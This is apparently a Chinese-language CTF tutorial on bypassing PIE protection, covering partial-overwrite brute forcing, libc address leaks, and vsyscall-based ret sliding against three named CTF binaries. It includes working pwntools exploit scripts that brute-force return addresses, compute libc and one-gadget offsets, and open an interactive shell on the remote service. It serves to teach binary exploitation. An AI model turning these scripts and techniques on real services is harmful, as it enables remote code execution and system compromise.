在之前的文章中我们提到过ASLR这一防护技术。由于受到堆栈和libc地址可预测的困扰,ASLR被设计出来并得到广泛应用。因为ASLR技术的出现,攻击者在ROP或者向进程中写数据时不得不先进行leak,或者干脆放弃堆栈,转向bss或者其他地址固定的内存块。
而PIE(position-independent executable, 地址无关可执行文件)技术就是一个针对代码段.text, 数据段.*data,.bss等固定地址的一个防护技术。同ASLR一样,应用了PIE的程序会在每次加载时都变换加载基址,从而使位于程序本身的gadget也失效。
使用PIE保护的程序,可以看到两次加载的基址是不一样的。
显然,PIE的应用给ROP技术造成了很大的影响。但是由于某些系统和缺陷,其他漏洞的存在和地址随机化本身的问题,我们仍然有一些可以bypass PIE的手段。
下面我们介绍三种比较常见的手法。
02、partial write bypass PIE
partial write(部分写入)就是一种利用了PIE技术缺陷的bypass技术。由于内存的页载入机制,PIE的随机化只能影响到单个内存页。通常来说,一个内存页大小为0x1000,这就意味着不管地址怎么变,某条指令的后12位,3个十六进制数的地址是始终不变的。因此通过覆盖EIP的后8或16位 (按字节写入,每字节8位)就可以快速爆破或者直接劫持EIP。
我们打开例子~/DefCamp CTF Finals 2016-SMS/SMS,这是一个64位程序,主要的功能函数dosms( )调用了存在漏洞的set_user和set_sms。
通过查看frontdoor的汇编代码我们知道其地址后三位是0x900。
在前面几篇文章的训练之后,我们很容易通过调试获取溢出所需的padding并且写出payload如下:
payload = 'a'*40 #padding payload += '\xca' #修改长度为202,即payload的长度,这个参数会在其后的strncpy被使用 io.sendline(payload) io.recv() payload = 'a'*200 #padding payload += '\x01\xa9' #frontdoor的地址后三位是0x900, +1跳过push rbp io.sendline(payload)
我们看到注释里用的不是0x900而是0x901,这是因为在实际调试中发现跳转到frontdoor时会出错。为了验证payload的正确性,我们可以在调试时通过IDA修改内存地址修正爆破位的值,此处从略。
验证完payload的正确性之后,我们还必须面临一个问题,那就是如何自动化进行爆破。我们触发一个错误的结果:
我们知道爆破失败的话程序就会崩溃,此时io的连接会关闭,因此调用io.recv( )会触发一个EOFError。由于这个特性,我们可以使用python的try...except...来捕获这个错误并进行处理。
最终脚本如下:
#!/usr/bin/python #coding:utf-8 from pwn import * context.update(arch = 'amd64', os = 'linux') i = 0 while True: i += 1 print i io = remote("172.17.0.3", 10001) io.recv() payload = 'a'*40 #padding payload += '\xca' #修改长度为202,即payload的长度,这个参数会在其后的strncpy被使用 io.sendline(payload) io.recv() payload = 'a'*200 #padding payload += '\x01\xa9' #frontdoor的地址后三位是0x900, +1跳过push rbp io.sendline(payload) io.recv() try: io.recv(timeout = 1) #要么崩溃要么爆破成功,若崩溃io会关闭,io.recv()会触发EOFError except EOFError: io.close() continue else: sleep(0.1) io.sendline('/bin/sh\x00') sleep(0.1) io.interactive() #没有EOFError的话就是爆破成功,可以开shell break
03、泄露地址bypass PIE
PIE影响的只是程序加载基址,并不会影响指令间的相对地址,因此我们如果能泄露出程序或libc的某些地址,我们就可以利用偏移来达到目的。
打开例子~/BCTF 2017-100levels/100levels,这是个64位的答题程序,要求输入两个数字,相加得到关卡总数,然后计算乘法。本题的栈溢出漏洞位于0xe43的question函数中。
我们可以看到栈上有大量指向libc的地址。
那么这些地址我们要怎么leak出来呢,我们继续看questions这个函数,又看到了一个有趣的东西。
这边的printf输出的参数位于栈上,通过rbp定位。
利用这两个信息,我们很容易想到可以通过partial overwrite修改RBP的值指向这块内存,从而泄露出这些地址,利用这些地址和libc就可以计算到one gadget RCE的地址从而栈溢出调用。我们使用以下脚本把RBP的最后两个十六进制数改成0x5c,此时[rbp+var_34] = 0x5c-0x34=0x28,泄露位于这个位置的地址。
io = remote('172.17.0.3', 10001) io.recvuntil("Choice:") io.send('1') io.recvuntil('?') io.send('2') io.recvuntil('?') io.send('0') io.recvuntil("Question: ") question = io.recvuntil("=")[:-1] answer = str(eval(question)) payload = answer.ljust(0x30, '\x00') + '\x5c' io.send(payload) io.recvuntil("Level ") addr_l8 = int(io.recvuntil("Question: ")[:-10])
通过多次进行实验,我们发现这段脚本的成功率有限,有时候能泄露出libc中的地址 。
有时候是start的首地址
原因是[rbp+var_34]中的数据是0,idiv除法指令产生了除零错误。
此外,我们观察泄露出来的addr_l8会发现有时候是正数有时候是负数。这是因为我们只能泄露出地址的低32位,低8个十六进制数。而这个数的最高位可能是0或者1,转换成有符号整数就可能是正负两种情况。因此我们需要对其进行处理:
if addr_l8 < 0: addr_l8 = addr_l8 + 0x100000000
由于我们泄露出来的只是地址的低32位,抛去前面的4个0,我们还需要猜16位,即4个十六进制数。幸好根据实验,程序加载地址似乎总是在0x000055XXXXXXXXXX-0x000056XXXXXXXXXX间徘徊,因此我们的爆破空间缩小到了0x100*2=512次。我们随便选择一个在这个区间的地址拼上去:
addr = addr_l8 + 0x7f8b00000000
为了加快成功率,显然我们不可能只针对一种情况做处理,从上面的截图上我们可以看到那块空间中有好几个不同的libc地址。
根据PIE的原理和缺陷,我们可以把后三位作为指纹,识别泄露出来的地址是哪个:
if hex(addr)[-2:] == '0b': #__IO_file_overflow+EB libc_base = addr - 0x7c90b elif hex(addr)[-2:] == 'd2': #puts+1B2 libc_base = addr - 0x70ad2 elif hex(addr)[-3:] == '600':#_IO_2_1_stdout_ libc_base = addr - 0x3c2600 elif hex(addr)[-3:] == '400':#_IO_file_jumps libc_base = addr - 0x3be400 elif hex(addr)[-2:] == '83': #_IO_2_1_stdout_+83 libc_base = addr - 0x3c2683 elif hex(addr)[-2:] == '32': #_IO_do_write+C2 libc_base = addr - 0x7c370 - 0xc2 elif hex(addr)[-2:] == 'e7': #_IO_do_write+37 libc_base = addr - 0x7c370 - 0x37
最后我们针对泄露出来的无意义数据做一下处理,按照上一节的思路用try...except做一个自动化爆破,形成一个脚本。脚本具体内容见于附件,爆破成功如图:
从图中我们可以看到本次爆破总共尝试了2633次,相比于上一节,次数还是比较多的。
此题在网上可以搜到其他利用泄露出来的返回地址做ROP的做法,由于题目中已经有system,感兴趣的同学也可以试一下。此外,这个题目和下一节中的题目本质上是一样的,因此也可以作为下一节的练习题。
04、使用vdso/vsyscall bypass PIE
我们知道,在开启了ASLR的系统上运行PIE程序,就意味着所有的地址都是随机化的。然而在某些版本的系统中这个结论并不成立,原因是存在着一个神奇的vsyscall。(由于vsyscall在一部分发行版本中的内核已经被裁减掉了,新版的kali也属于其中之一。vsyscall在内核中实现,无法用docker模拟,因此任何与vsyscall相关的实验都改成在Ubuntu 16.04上进行,同时libc中的偏移需要进行修正。)
如上面两图,我先后运行了四次cat /proc/self/maps查看本进程的内存,可以发现其他地址都在变,只有vsyscall一直稳定在0xffffffffff600000-0xffffffffff601000(这里使用cat /proc/[pid]/maps的方式而不是使用IDA是因为这块内存对IDA不可见)那么这块vsyscall是什么,又是干什么用的呢?
简单地说,现代的Windows/*Unix操作系统都采用了分级保护的方式,内核代码位于R0,用户代码位于R3。许多对硬件和内核等的操作都会被包装成内核函数并提供一个接口给用户层代码调用,这个接口就是我们熟知的int 0x80/syscall+调用号模式。当我们每次调用这个接口时,为了保证数据的隔离,我们需要把当前的上下文(寄存器状态等)保存好,然后切换到内核态运行内核函数,然后将内核函数返回的结果放置到对应的寄存器和内存中,再恢复上下文,切换到用户模式。这一过程需要耗费一定的性能。
对于某些系统调用,如gettimeofday来说,由于他们经常被调用,如果每次被调用都要这么来回折腾一遍,开销就会变成一个累赘。因此系统把几个常用的无参内核调用从内核中映射到用户空间中,这就是vsyscall,我们使用gdb可以把vsyscall dump出来加载到IDA中观察。
可以看到这里面有三个系统调用,从上到下分别是gettimeofday, time和getcpu。由于是系统调用,都是通过syscall来实现,这就意味着我们似乎有一个可控的sysall了。
我们先来看一眼题目~/HITB GSEC CTF 2017-1000levels/1000levels。正如上一节所说,这个题目其实就是100levels的升级版,唯一的变动就是关卡总数增加到了1000.不管怎样,我们先来试一下调用vsyscall中的syscall。我们选择在开头下个断点,直接开启调试后布置一下寄存器,并修改RIP到0xffffffffff600007,即第一个syscall所在地址。
执行时发现提示段错误。显然,我们没办法直接利用vsyscall中的syscall指令。这是因为vsyscall执行时会进行检查,如果不是从函数开头执行的话就会出错。因此,我们唯一的选择就是利用0xffffffffff600000, 0xffffffffff600400,0xffffffffff600800这三个地址。那么这三个地址对于我们来说有什么用呢?
我们继续分析题目,同100levels一样,1000levels也有一个hint选项。
由于缺乏任意修改地址的手段,我们并不能去修改show_hint,但是分析汇编代码,我们发现不管show_hint是否为空,其实system的地址都会被放置在栈上。
由于这个题目给了libc,因此我们可以利用这个泄露的地址计算其他gadgets的偏移,或者直接使用one gadget RCE。但是还有一个问题:我们怎么泄露这个地址呢?
我们继续看实现主要游戏功能的函数go,其实现和漏洞点与100levels一致。但是在上一节我们没有提及的是其实询问关卡的时候是可以输入0或者负数的,而且从流程图上看,正数和非正数的处理逻辑有一些有趣的不同。
可以看出,当输入的关卡数为正数的时候,rbp+var_110处的内容会被关卡数取代,而输入负数时则不会。那么这个var_110和system地址所在的var_110是不是一个东西呢?根据栈帧开辟的原理和main函数代码的分析,由于两次循环之间并没有进出栈操作,main函数的rsp,也就是hint和go的rbp应该是不会改变的,而事实也确实如此。
继续往下执行,发现第二次输入的关卡数会被直接加到system上。
由于第二次的输入也没有限制正负数,因此我们可以通过输入偏移值把system修改成one gadget rce。接下来我们需要做的是利用栈溢出控制RIP指向我们修改好的one gadget rce。
由于rbp_var_110里的值会被当成循环次数,当次数过大时会锁定为999次,所以我们必须写一个自动应答脚本来处理题目。根据100levels的脚本我们很容易构造脚本如下:
io = remote('127.0.0.1', 10001) libc_base = -0x456a0 #减去system函数离libc开头的偏移 one_gadget_base = 0x45526 #加上one gadget rce离libc开头的偏移 vsyscall_gettimeofday = 0xffffffffff600000 def answer(): io.recvuntil('Question: ') answer = eval(io.recvuntil(' = ')[:-3]) io.recvuntil('Answer:') io.sendline(str(answer)) io.recvuntil('Choice:') io.sendline('2') #让system的地址进入栈中 io.recvuntil('Choice:') io.sendline('1') #调用go() io.recvuntil('How many levels?') io.sendline('-1') #输入的值必须小于0,防止覆盖掉system的地址 io.recvuntil('Any more?') io.sendline(str(libc_base+one_gadget_base)) #第二次输入关卡的时候输入偏移值,从而通过相加将system的地址变为one gadget rce的地址 for i in range(999): #循环答题 log.info(i) answer()
计算发现0x38个字节后到rip,然而rip离one gadget rce还有三个地址长度。
我们要怎么让程序运行到one gadget rce呢?有些读者可能听说过有一种技术叫做NOP slide,即写shellcode的时候在前面用大量的NOP进行填充。由于NOP是一条不会改变上下文的空指令,因此执行完一堆NOP后执行shellcode对shellcode的功能并没有影响,且可以增加地址猜测的范围,从一定程度上对抗ASLR。这里我们同样可以用ret指令不停地“滑”到下一条。由于程序开了PIE且没办法泄露内存空间中的地址,我们找不到一个可靠的ret指令所在地址。这个时候vsyscall就派上用场了。
我们前面知道,vsyscall中有三个无参系统调用,且只能从入口进入。我们选的这个one gadget rce要求rax = 0,查阅相关资料可知gettimeofday执行成功时返回值就是0,因此我们可以选择调用三次vsyscall中的gettimeofday,利用执行完的ret“滑”过这片空间。
io.send('a'*0x38 + p64(vsyscall_gettimeofday)*3)
正如我们所见,尽管有一些限制,由于vsyscall地址的固定性,这个本来是为了节省开销的设置造成了很大的隐患,因此vsyscall很快就被新的机制vdso所取代。与vsyscall不同的是,vdso的地址也是随机化的,且其中的指令可以任意执行,不需要从入口开始,这就意味着我们可以利用vdso中的syscall来干一些坏事了。